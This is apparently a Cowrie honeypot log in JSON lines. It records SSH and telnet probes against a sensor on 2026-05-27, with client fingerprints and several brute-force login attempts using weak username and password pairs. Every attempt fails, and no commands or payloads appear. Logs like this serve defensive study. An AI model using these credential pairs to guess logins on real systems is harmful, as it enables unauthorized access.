{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:42.762773Z","src_ip":"43.133.65.220","session":"94dbbdcdb3cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"1234","message":"login attempt [mcserver/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:43.619153Z","src_ip":"43.133.65.220","session":"94dbbdcdb3cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:44.828816Z","src_ip":"43.133.65.220","session":"94dbbdcdb3cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.219.170.64","src_port":52048,"dst_ip":"10.17.0.5","dst_port":23,"session":"40cbc6d91bea","protocol":"telnet","message":"New connection: 102.219.170.64:52048 (10.17.0.5:23) [session: 40cbc6d91bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:45.787669Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":36776,"dst_ip":"159.203.135.109","dst_port":22,"session":"51233c076f67","protocol":"ssh","message":"New connection: 62.133.62.83:36776 (159.203.135.109:22) [session: 51233c076f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:50.233304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:50.237132Z","src_ip":"62.133.62.83","session":"51233c076f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:50.316816Z","src_ip":"62.133.62.83","session":"51233c076f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnq","message":"login attempt [root/zxcvbnq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:50.554331Z","src_ip":"62.133.62.83","session":"51233c076f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:29:51.635460Z","src_ip":"62.133.62.83","session":"51233c076f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.988436222076416,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:04.169066Z","src_ip":"69.4.83.194","session":"b7bbe95403d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57832,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e37857612e6","protocol":"telnet","message":"New connection: 69.4.83.194:57832 (159.203.135.109:23) [session: 0e37857612e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:18.108900Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":52164,"dst_ip":"159.203.135.109","dst_port":22,"session":"36d8d6de407a","protocol":"ssh","message":"New connection: 180.178.94.210:52164 (159.203.135.109:22) [session: 36d8d6de407a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:18.394369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:18.422118Z","src_ip":"180.178.94.210","session":"36d8d6de407a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:18.675626Z","src_ip":"180.178.94.210","session":"36d8d6de407a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu18","message":"login attempt [ubuntu/Ubuntu18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:19.699454Z","src_ip":"180.178.94.210","session":"36d8d6de407a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:20.949340Z","src_ip":"180.178.94.210","session":"36d8d6de407a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49404,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ef397a4324e","protocol":"ssh","message":"New connection: 77.94.47.83:49404 (10.17.0.5:22) [session: 9ef397a4324e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:29.530773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:29.535598Z","src_ip":"77.94.47.83","session":"9ef397a4324e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:29.645355Z","src_ip":"77.94.47.83","session":"9ef397a4324e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12051987","message":"login attempt [root/12051987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:29.990456Z","src_ip":"77.94.47.83","session":"9ef397a4324e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:31.101322Z","src_ip":"77.94.47.83","session":"9ef397a4324e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":45366,"dst_ip":"159.203.135.109","dst_port":22,"session":"db13cc39428d","protocol":"ssh","message":"New connection: 106.243.250.115:45366 (159.203.135.109:22) [session: db13cc39428d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:34.107032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:34.114902Z","src_ip":"106.243.250.115","session":"db13cc39428d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:34.311521Z","src_ip":"106.243.250.115","session":"db13cc39428d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123456789","message":"login attempt [botuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:35.127288Z","src_ip":"106.243.250.115","session":"db13cc39428d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:36.329172Z","src_ip":"106.243.250.115","session":"db13cc39428d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38836,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb004842ffb2","protocol":"telnet","message":"New connection: 69.4.83.194:38836 (159.203.135.109:23) [session: eb004842ffb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:43.118041Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":45218,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8a3bcbe64f4","protocol":"ssh","message":"New connection: 190.6.32.107:45218 (159.203.135.109:22) [session: f8a3bcbe64f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:46.906955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:46.911651Z","src_ip":"190.6.32.107","session":"f8a3bcbe64f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:46.967727Z","src_ip":"190.6.32.107","session":"f8a3bcbe64f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ljy123456","message":"login attempt [root/Ljy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:47.220809Z","src_ip":"190.6.32.107","session":"f8a3bcbe64f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:48.281479Z","src_ip":"190.6.32.107","session":"f8a3bcbe64f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.60969281196594,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:53.718473Z","src_ip":"69.4.83.194","session":"0e37857612e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.53.212.228","src_port":20154,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a95f4ed4f73","protocol":"telnet","message":"New connection: 1.53.212.228:20154 (10.17.0.5:23) [session: 5a95f4ed4f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:30:55.561825Z"}
{"eventid":"cowrie.session.closed","duration":12.072558164596558,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:07.634010Z","src_ip":"1.53.212.228","session":"5a95f4ed4f73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":60370,"dst_ip":"159.203.135.109","dst_port":22,"session":"3133edfaf8dc","protocol":"ssh","message":"New connection: 213.183.120.56:60370 (159.203.135.109:22) [session: 3133edfaf8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:12.999921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:13.004556Z","src_ip":"213.183.120.56","session":"3133edfaf8dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:13.185782Z","src_ip":"213.183.120.56","session":"3133edfaf8dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:13.935281Z","src_ip":"213.183.120.56","session":"3133edfaf8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:15.118233Z","src_ip":"213.183.120.56","session":"3133edfaf8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.88306927680969,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:17.001028Z","src_ip":"69.4.83.194","session":"eb004842ffb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":42354,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e545e0a6864","protocol":"ssh","message":"New connection: 43.133.65.220:42354 (159.203.135.109:22) [session: 8e545e0a6864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:19.052231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:19.057211Z","src_ip":"43.133.65.220","session":"8e545e0a6864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:19.258811Z","src_ip":"43.133.65.220","session":"8e545e0a6864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tme","message":"login attempt [root/r00tme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:20.096334Z","src_ip":"43.133.65.220","session":"8e545e0a6864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:31:21.301754Z","src_ip":"43.133.65.220","session":"8e545e0a6864","protocol":"ssh"}
